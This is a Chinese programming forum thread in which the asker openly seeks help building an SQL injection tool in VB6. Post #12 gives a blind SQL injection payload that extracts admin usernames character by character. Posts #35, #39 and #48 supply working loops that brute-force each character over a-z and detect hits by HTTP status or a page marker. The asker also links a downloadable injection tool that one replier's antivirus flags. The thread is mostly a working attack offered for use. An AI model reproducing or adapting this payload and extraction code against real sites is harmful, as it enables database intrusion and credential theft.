倾注所有，重分求解！！把分全送了，希望只求一解啊！5555555555

倾注所有，重分求解！！


问题是这样的，我有个关于网页的问题的判断啊，来此询问一下哈。

就是比如，我的程序提交http://www.sina.com/index.asp然后他访问到SINA的叶面，然后我提交
http://www.sina.com/indxe.asp你看我URL这样写错了，就访问不到了啊，然后就找不到叶面或者什么的，那么有什么方法能让程序来判断那个错了，那个对了呢！
然后取出对了的，不要错了的URL呢！
就是这样的哈，我说清楚点，比如，都是比如

http://www.xxx.com/list.asp?id=1  没这样饿，是比如

那么实际提交

http://www.xxx.com/list.asp?id=5 这样才能访问有文章的叶面，刚才那个id=1是没有文章的，那么怎么让程序判断有文章的，从而在下面的TEXT里面显示出正确能返回叶面的这个URL呢
就是，有点象死板的就是一个一个猜啊，程序运行时，比如我输入
ID=1 到100
那么让他去猜，从1走到100看都几个对了，那么就把那几个都显示出来啊，就是这样的功能，是配合我一个SQLINJECTS注射用的工具，希望你们能帮我好吗？我艘有分都给了，求求大家了，真的很重要！

实在太需要帮助了，谢谢各位了，谢谢了，帮帮我吧，我好难！！！

48 个解决方案

#1

没搞明白，帮你顶一下！！

#2

关注

#3

mark

#4

用inet控件，比较返回值

#5

mark

#6

对的，就是比较返回直，你说对了啊

FLYING告诉我怎么做啊，快！

个位帮忙了啊，就是比较返回直啊，55555555555不知道怎么比啊，现在是有点头目了，啊，有点开心，但是麻烦在后头呢，求求个位了，帮我一下了！

#7

Dim X As Integer, RetCode As Integer
For X = 1 To 100
    Inet1.Execute "http://www.xxx.com/list.asp?id=" & Format(X), "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        MsgBox "OK"
    Case 404
        MsgBox "Not Found"
    Case Else
        MsgBox "Error"
    End Select
Next X

#8

Private Sub Command1_Click()
Text1.Text = Inet1.OpenURL("www.ourfly.com")
'如果没有该网址，返回0
MsgBox Len(Inet1.OpenURL("www.otrhyfbfghrtnb.net"))
End Sub

#9

//'如果没有该网址，返回0

不对，如果有自定义错误页的话就有内容

所以还是用HTTP返回码判断好

#10

现在能明白一些了，那么这个问题哦，我写给你们看哦，希望你们能帮我，谢谢了，太感激了！！！


当然我是随便写一下，不然URL长，这个URL当然是做比例用的，呵呵，看

http://www.xx.com/list.asp?id=1=r  ‘这个是正确的有文章URL

那么我的程序是要
比如我填入值是1 to 5
那么要让程序一个一个试，就是这样
http://www.xx.com/list.asp?id=1=a 从a-z一个一个试
如果对了，比如，http://www.xx.com/list.asp?id=1=a
http://www.xx.com/list.asp?id=1=b
http://www.xx.com/list.asp?id=1=c
http://www.xx.com/list.asp?id=1=d
..............
一直http://www.xx.com/list.asp?id=1=r
到r对了，那么就把这个R纪录到TEXT。TEXT文本里面，然后继续下面的
http://www.xx.com/list.asp?id=2=a
http://www.xx.com/list.asp?id=2=b
http://www.xx.com/list.asp?id=2=c
http://www.xx.com/list.asp?id=2=d
....................一直走，比如
http://www.xx.com/list.asp?id=2=f  '这个才是正确的URL，那么，他就走到这里就换
http://www.xx.com/list.asp?id=3=a有开始走，一个一个试
由于我上面填的值是5，所以说，要试5个，
http://www.xx.com/list.asp?id=5=a
这样一直弄，得到结果，因为1到5个，所以每个只有一个正确的字母，那么就一个一个的显示到TEXT1。TEXT里面啊，这样的程序怎么做啊，我就是循环不会啊，
前面的http://www.xx.com/list.asp?id=2=a
id是母的样子，=a这个是子的样子，反正就是先循环子的，也就是先循环A的，然后在一个一个ID的加，这样的，你们能明白吧，这个怎么做啊，谢谢了，谢谢大家了，我急坏了！！

#11

大家帮我看看啊，

#12

http://www.xxx.com/list.asp?id=535 and 1=(select min(id) from admin where mid(username,B,1)='V')

这个URL，B是变量，V也是变量，
V的值是A-Z一个一个字母的来，那么可以用ASCII码的，偶不会，还有
B变量，是我们添加的
比如B写成5
那么就是循环1 TO 5
比如写成10
那么就循环1 TO 10那程序怎么做呢，我想不来啊

#13

顶

#14

挖，看来这个问题有点难度了，哎

#15

可以把问提说的简单一点吗？我没听清楚

#16

http://www.xxx.com/list.asp?id=1&a        没有这样的地址拉，我是比例

http://www.xxx.com/list.asp?id=5&z         

上面是头，下面是尾，那么就是上面一直走，一直循环走
ID 1  A-Z走完，取出正确的字母，然后在调到
ID 2  A-Z在走，在取出啊，就是要这样的
我们可以把ID=多少，设置成变量啊，来循环，不知道怎么循环啊，！

#17

偶的方法是直接比较OpenURL返回的页面里是否包含错误信息，然后整个测试是用递归实现的，呵呵
http://expert.csdn.net/Expert/topic/3003/3003176.xml?temp=.6307794

#18

超级绿豆，我简直太喜欢你了饿，谢谢你，kiss you，你太棒的，我就是要这个

呵呵，看来我们也是同行啊，我想和你认识一下，行么？谢谢绿豆哥哥！

#19

这里应该不会有太多人和我是同行吧，呵呵……
我们在这里不是已经认识了么……^_^

对了，那代码可不能拿去乱~~用~~哦，学学算法就好了，知道不 :P

#20

不是，绿豆哥哥

我给你我臭哥用的DELPHI写的程序，我用VB也要写出象那样功能的，苦于算法问题，你能帮忙修改一下吗？太谢谢你了，谢谢了！

#21

你给我C，Java我都还凑合，DELPHI我还真是……呵呵，没看过object pascal

#22

我的程序下载地址是，你帮我看看吧，绿豆哥哥

http://61.154.79.42:805/SQLINJ.rar

谢谢了！

#23

我不是叫你用DELPHI做，我哥哥他用DELPHI开发的软件，你看看他的注射的样子，和运行的，用VB做出差不多的功能出来，我是要这样啊，你误会了！

#24

请你看看，这个比你自己写的功能要少得太多太多了，只是一个功能就是弄出用户名和密码

啊，请你帮我看看啊，我实在想得头都大了，想不来啊，！

#25

呵呵，我一运行，瑞星就报警……*_MyPhoto

#26

不可能吧

#27

不是吧，别开玩笑啊，晕哦！

#28

我这里真没问题的啊，你帮我看看吧，真的，我这里真的一点事都没有，我都用SPANT和NORTON杀过了，什么都没发现，你怎么就说过呢，哎

#29

超级绿豆才不屑和我们这些人交朋友呢，
我给他发消息，想和他交朋友，但是人家竟然拒绝了!!
我考!好大的牌呀!!!!!

#30

啊，真的没有啊！我用生命当报啊，！

#31

MSN可以上了，hackate你到是上线呀？

#32

我被这个问题搞疯了，我要崩溃了啦！

#33

Option Explicit

Private Sub Form_Load()
         Dim i As Integer
         Dim j As Integer
         
         For i = 1 To 5
                For j = 97 To 122
                Debug.Print CStr(i) & "-" & Chr(j)
                Next j
         Next i

End Sub

#34

啊，啊，还以为是病毒了啊，都把我当成什么人了，我现在问问题反而被大家误解了，哎，算了吧，我或许都不该给这个程序，哎，对不起各位，你们如果觉得我一直在骗你们，那么我也没话说了！

#35

Private Sub guocheng()
Dim B As Integer
Dim strT As String
Dim V As Integer
Dim X As Integer, RetCode As Integer
'B = Val(Text4.Text)
For B = 1 To 100
    For V = 97 To 122
    Inet1.Execute Text2.Text & " "& cstr(B) &",1)='" & CHR(V) & "', "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        MsgBox "OK"
    Case 404
        MsgBox "Not Found"
    Case Else
        MsgBox "Error"
    End Select
Next B
End Sub

错了啊，不知道我那里连接错了啊
text2.text里面的URL是我们输入的，是可以定义的，所以我就这样写了，后面是
B,1)='V')
这个是固定的，所以我就没弄成TEXT了，所以就上面那样加了啊，可是错了啊，我不知道那里连接错了，我不太懂了，这个是双重循环B是变量，后面的，V是变量，比较优先的
text.text里面的内容是
http://www.xxx.com/list.asp?id=1 and 1=(select min(id) from admin where mid(username,
这个URL是不固定，的，固定是
B,1)='V)
所以完整应该是
http://www.xxx.com/list.asp?id=1 and 1=(select min(id) from admin where mid(username,B,1)='V)
不知道怎么把他合并到上面的程序代码中，好点呢，不会出错，我字符串连接可能都有问题的

#36

该回复被版主删除

#37

mark

#38

帮帮我啊，我真的不知道怎么做啊！

#39

你试试这样看先

Private Sub Command1_Click()
Dim sURL As String, sReplace As String
Dim lPos As Long
sReplace = "B,1)='V'"
sURL = Text1.Text
lPos = InStr(sURL, sReplace)
sURL = Left(sURL, lPos - 1)
Call SearchURL(sURL, CLng(Text3.Text), CLng(Text4.Text))
End Sub

Sub SearchURL(ByVal sURL As String, ByVal lBegin As Long, ByVal lEnd As Long)
    On Error GoTo Error_Handler
    Dim i As Long
    Dim j As Long
    Dim sTestURL As String
    
    Dim lFreefile As Long, sFilename As String
    lFreefile = FreeFile
    sFilename = "c:\url.txt"
    
    Open sFilename For Output As #lFreefile
    
    For i = lBegin To lEnd
        For j = Asc("a") To Asc("z")
            sTestURL = sURL & CStr(i) & ",1)='" & Chr(j) & "'"
            If TestURL(sTestURL) Then
                Print #lFreefile, sTestURL
            End If
            Debug.Print sTestURL
        Next j
    Next i
    
    Close #lFreefile
    Exit Sub
Error_Handler:
    Close #lFreefile
End Sub

Function TestURL(ByVal sTestURL As String) As Boolean
    TestURL = False
    Dim RetCode As Long
    Inet1.Execute sTestURL, "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        TestURL = True
    End Select
End Function

#40

我做了啊，运行时候老出错啊，什么未找到方法或数据成员，晕哦！

#41

不行啊！，老是不行

#42

偶发给你的收到了么？

#43

?晕，都是什么人啊，写过程序没？一个递归不会用？
还有最好不要用Inet，还不如用xml.http

#44

超级绿豆你的方法，不行啊，错误啊！

#45

程序错误，而且你看你写的应该是

sReplace = "B,1)='V'"
因该是
sReplace = "B,1)='V')"

这样啊，我改了，我知道你的意思了，可是程序依然出错，真的，等你星期一来罗

#46

up

#47

mark

#48

同志在不在啊，你的问题，可能用特征字符比较好，下面是改过的，你再试试

Private Sub Command1_Click()
Dim sURL As String, sReplace As String
Dim lPos As Long
sReplace = "B,1)='V'"
sURL = Text1.Text
lPos = InStr(sURL, sReplace)
sURL = Left(sURL, lPos - 1)
Call SearchURL(sURL, CLng(Text3.Text), CLng(Text4.Text))
End Sub

Sub SearchURL(ByVal sURL As String, ByVal lBegin As Long, ByVal lEnd As Long)
    On Error GoTo Error_Handler
    Dim i As Long
    Dim j As Long
    Dim sTestURL As String
    
    Dim lFreefile As Long, sFilename As String
    lFreefile = FreeFile
    sFilename = "c:\url.txt"
    
    Open sFilename For Output As #lFreefile
    
    For i = lBegin To lEnd
        For j = Asc("a") To Asc("z")
            sTestURL = sURL & CStr(i) & ",1)='" & Chr(j) & "')"
            If TestURL(sTestURL) Then
                Print #lFreefile, sTestURL
            End If
            Debug.Print sTestURL
        Next j
    Next i
    
    Close #lFreefile
    Exit Sub
Error_Handler:
    Close #lFreefile
End Sub

Function TestURL(ByVal sTestURL As String) As Boolean
    TestURL = False
    Dim sHTML As String
    sHTML = Inet1.OpenURL(sTestURL)
    TestURL = IIf(InStr(sHTML, "没有找到相关文章") = 0, True, False)
End Function